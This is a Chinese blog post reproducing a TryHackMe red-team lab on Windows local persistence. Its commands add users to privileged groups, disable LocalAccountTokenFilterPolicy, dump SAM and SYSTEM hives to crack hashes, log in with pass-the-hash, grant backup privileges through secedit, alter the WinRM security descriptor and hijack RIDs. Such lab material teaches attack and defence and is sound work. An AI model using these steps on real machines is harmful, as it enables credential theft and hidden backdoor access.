首页 > 系统相关 >THM-红队-Windows本地持久性

THM-红队-Windows本地持久性

时间:2023-04-07 18:46:31浏览次数:85  
标签:group Windows WinRM Enabled default THM Mandatory RID 红队

篡改非特权帐户

分配组成员资格

C:\> net localgroup administrators thmuser0 /add

这将允许您使用 RDPWinRM 或任何其他可用的远程管理服务来访问服务器。

如果这看起来太可疑,您可以使用Backup Operators组。该组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项,而忽略任何已配置的 DACL。这将允许我们复制 SAMSYSTEM 注册表配置单元的内容,然后我们可以使用它们来恢复所有用户的密码哈希,使我们能够轻松升级到任何管理帐户

为此,我们首先将帐户添加到 Backup Operators 组:

C:\> net localgroup "Backup Operators" thmuser1 /add

由于这是一个非特权帐户,除非我们将其添加到远程桌面用户(RDP) 或远程管理用户(WinRM) 组,否则它无法通过 RDPWinRM 返回计算机。我们将使用 WinRM 来完成这项任务:

C:\> net localgroup "Remote Management Users" thmuser1 /add

如果您现在尝试从您的攻击者机器连接,您会惊讶地发现即使您在 Backups Operators 组中,并且您也无法按预期访问所有文件。快速检查我们分配的组会表明我们是 Backup Operators 的一部分,但该组已禁用

user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321

*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551 Group used for deny only
BUILTIN\Remote Management Users        Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

这是由于用户帐户控制 (UAC)。UAC 实现的功能之一 LocalAccountTokenFilterPolicy会在远程登录时剥夺任何本地帐户的管理权限。虽然您可以从图形用户会话通过 UAC 提升您的权限(在此处阅读有关 UAC 的更多信息),但如果您使用的是 WinRM,您将被限制在没有管理权限的有限访问令牌中。

为了能够从您的用户那里重新获得管理权限,我们必须通过将以下注册表项更改为 1 来禁用LocalAccountTokenFilterPolicy

C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

一旦所有这些都设置好了,我们就可以使用我们的后门用户了。首先,让我们建立一个 WinRM 连接并检查是否为我们的用户启用了 Backup Operators 组:

user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
        
*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators             Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users      Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                 Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288

然后我们继续备份 SAMSYSTEM 文件并将它们下载到我们的攻击者机器上:

*Evil-WinRM* PS C:\> reg save hklm\system system.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\> download system.bak
    Info: Download successful!

*Evil-WinRM* PS C:\> download sam.bak
    Info: Download successful!

注意:如果 Evil-WinRM 下载文件的时间太长,请随意使用任何其他传输方法。例如:smbserver.py

使用这些文件,我们可以使用或其他类似工具转储所有用户的密码哈希值secretsdump.py

user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cea1d7e8899f69e89088c4cb4bbdaa3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9657e898170eb98b25861ef9cafe5bd6:::
thmuser1:1011:aad3b435b51404eeaad3b435b51404ee:e41fd391af74400faa4ff75868c93cce:::
[*] Cleaning up...

最后,执行使用管理员的hash连接到受害机器:

user@AttackBox$ evil-winrm -i MACHINE_IP -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3

特殊权限和安全描述符

无需修改任何组成员资格即可获得与将用户添加到 Backup Operators 组类似的结果。特殊组之所以特殊,是因为操作系统默认为它们分配了特定的权限。特权只是在系统本身上执行任务的能力。它们包括简单的事情,例如具有关闭服务器的能力,直到非常特权的操作,例如能够取得系统上任何文件的所有权。可在此处找到可用权限的完整列表以供参考。

对于 Backup Operators 组,它默认分配有以下两个权限:

  • SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何 DACL
  • SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何 DACL
    我们可以将此类特权分配给任何用户,而不管他们的组成员身份如何。为此,我们可以使用secedit命令。首先,我们将当前配置导出到一个临时文件:
secedit /export /cfg config.inf

我们打开文件并将我们的用户添加到配置中有关 SeBackupPrivilegeSeRestorePrivilege 的行:

我们最终将 .inf 文件转换为 .sdb 文件,然后使用该文件将配置加载回系统:

secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf

您现在应该拥有一个与任何备份操作员具有同等权限的用户。用户仍然无法通过 WinRM 登录系统,所以让我们做点什么。我们不会将用户添加到 Remote Management Users 组,而是更改与 WinRM 服务关联的安全描述符以允许 thmuser2 进行连接。将安全描述符视为 ACL,但应用于其他系统设施。

要打开 WinRM 安全描述符的配置窗口,您可以在 Powershell 中使用以下命令(为此您需要使用 GUI 会话):

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

这将打开一个窗口,您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的完整权限:

请注意,要让此用户完全使用给定的权限,您必须更改LocalAccountTokenFilterPolicy注册表项,但我们已经完成了此操作以获取先前的标志

如果您检查用户的组成员资格,它将看起来像普通用户。一点都不可疑!

C:\> net user thmuser2
User name                    thmuser2

Local Group Memberships      *Users
Global Group memberships     *None

RID劫持

另一种无需成为管理员即可获得管理权限的方法是更改​​某些注册表值,使操作系统认为您是管理员。

创建用户时,会为他们分配一个称为相对 ID (RID)的标识符。RID 只是一个代表整个系统用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID 并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们可以通过将相同的 RID 关联到两个帐户,让 Windows 将管理员访问令牌分配给非特权用户。

在任何 Windows 系统中,默认的 Administrator 帐户被分配RID = 500,而普通用户通常RID >= 1000

要查找为任何用户分配的 RID,您可以使用以下命令:

C:\> wmic useraccount get name,sid

Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
thmuser1            S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2            S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3            S-1-5-21-1966530601-3185510712-10604624-1010

RIDSID 的最后一位(thmuser31010Administrator500)。SID 是一个标识符,它允许操作系统跨域识别用户,但对于此任务,我们不会太在意它的其余部分。

现在我们只需将 RID=500 分配给 thmuser3。为此,我们需要使用 Regedit 访问 SAMSAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 身份运行 Regedit,我们将使用 psexec,它在C:\tools\pstools您的机器中可用:

C:\tools\pstools> PsExec64.exe -i -s regedit

Regedit 中,我们将转到HKLM\SAM\SAM\Domains\Account\Users\机器中每个用户都有一个密钥的地方。由于我们要修改 thmuser3,因此我们需要搜索其 RID 为十六进制 (1010 = 0x3F2) 的密钥。在相应的键下,会有一个名为F的值,它在位置 0x30 处保存用户的有效 RID

请注意,RID 是使用小尾数法存储的,因此它的字节显示为颠倒的。

我们现在将用十六进制的管理员** RID** (500 = 0x01F4) 替换这两个字节,切换字节 (F401):

thmuser3 下次登录时,LSASS 会将其关联到与 Administrator 相同的 RID,并授予他们相同的权限

如果你做的一切都正确,你应该登录到管理员的桌面

后门文件

标签:group,Windows,WinRM,Enabled,default,THM,Mandatory,RID,红队
From: https://www.cnblogs.com/Junglezt/p/17297092.html

相关文章

  • Windows(Server)、Linux服务器如何修改用户名和密码?
    开通服务器后,为了安全起见,应及时修改默认账户名和密码,不熟悉的人也建议不要随意提供服务器信息给对方,以防对方进入服务器修改数据,养成定期修改密码可以提高服务器的安全性,今天给大家分享一下服务器修改用户名和密码的方法,修改方法如下:一、WindowsServer2003、20081、远程登录服务......
  • Jenkins Vue Windows(FreeSSHd)整合
      创建项目第一次创建执行一次如下的代码。#进入Jenkins工作空间下hxkj项目目录cd/root/.jenkins/workspace/pc_back#下面的命令只需要执行一次,后续可以删除####npm切换为淘宝源npmconfigsetregistryhttp://registry.npm.taobao.org/#安装yarnnpmiyarn......
  • Windows更换笔记本电脑需要迁移和删除的内容清单
    一、需要迁移的内容清单1、桌面和磁盘中重要的文件或者文件夹2、chrome、Edge等浏览器的书签,可以导出3、常用的软件安装包(1)、输入法(百度、或者搜狗)(2)、浏览器(Chrome浏览器)(3)、WPS(4)、微信、QQ、钉钉(5)、腾讯会议(6)、百度网盘4、IT编程常用软件(1)、JDK、Python(2)、IntelliJI......
  • RabbitMQ入门(Windows)
    一、MQ概述MQ全称MessageQueue(消息队列),在消息队列中,通常有生产者和消费者两个角色。生产者只负责发送数据到消息队列,谁从消息队列中取出数据处理,他不管。消费者只负责从消息队列中取出数据处理,他不管这是谁发送的数据MQ,消息队列,存储消息的中间件分布式系统通信两种方式:直接......
  • 逆向 | windows TLS回调
    逆向|windowsTLS回调之前逆向的时候偶尔会碰到tls回调,但是没有自己实现过,今天想着实现一下。参考的代码来自逆向工程核心原理。代码如下:#include<windows.h>#pragmacomment(linker,"/INCLUDE:__tls_used")voidprint_console(char*msg){ HANDLEhStdout=GetS......
  • Windows 短文件名相关 - IIS短文件名泄露
    今天接网安通告,说服务器有IIS短文件名泄露。可这短文件名是什么?拿完通告后回来一通查了个遍终于看明白了。先说短文件名是什么资料传说很久很久以前windows的文件名不能超过8个文件名和3个扩展名,也就是12345678.123就是最大长度了。但是到了windows95的时候,这个长度被扩展到......
  • Linux和Windows操作系统作为服务器之间的对比
     Linux比Windows操作系统更适合服务器= 开源免费:Linux是一个开放源代码操作系统,而WindowsServer是一个专有操作系统,属于商业操作系统,费用比较高。安全性:Linux在安全方面比WindowsServer更强大,这是因为它是开放源代码的,拥有更多的安全功能和选项,也因为它在全球范围内广泛使用,能......
  • Algorithm参数记录
    一、vector<Point2f>vector是一个存储二维点坐标的容器,其中每个元素都是一个Point2f类型的对象。在OpenCV中,Point2f表示一个由两个单精度浮点数构成的二维点坐标。你可以使用vector来存储一些二维坐标信息,比如图像中的关键点或轮廓点等。具体用法可以参考下面的示例:#include<o......
  • frp内网穿透,linux服务器,windows客户端
    一、配置前准备1、下载frp,可以从github上下载下载地址:https://github.com/fatedier/frp/releases2、服务器端(点击名称下载)frp_0.48.0_linux_amd64.tar.gz3、客户端(点击名称下载)frp_0.48.0_windows_amd64.zip 二、将下载的frp文件,上传至linux服务器#进入指定文件夹cd/......
  • windows11安装wsl
    一:安装步骤1:打开电脑的搜索2:搜索框输入:powershell3:点击,自动进入窗口4:输入命令:wsl--install  二:遇到问题输入安装命令后,报错如下图:  三:解决方法控制面板--查看网络状态和任务--更改适配器设置--点击正在连接的网络--双击Internet协议版本4--输入如图2行数字即可......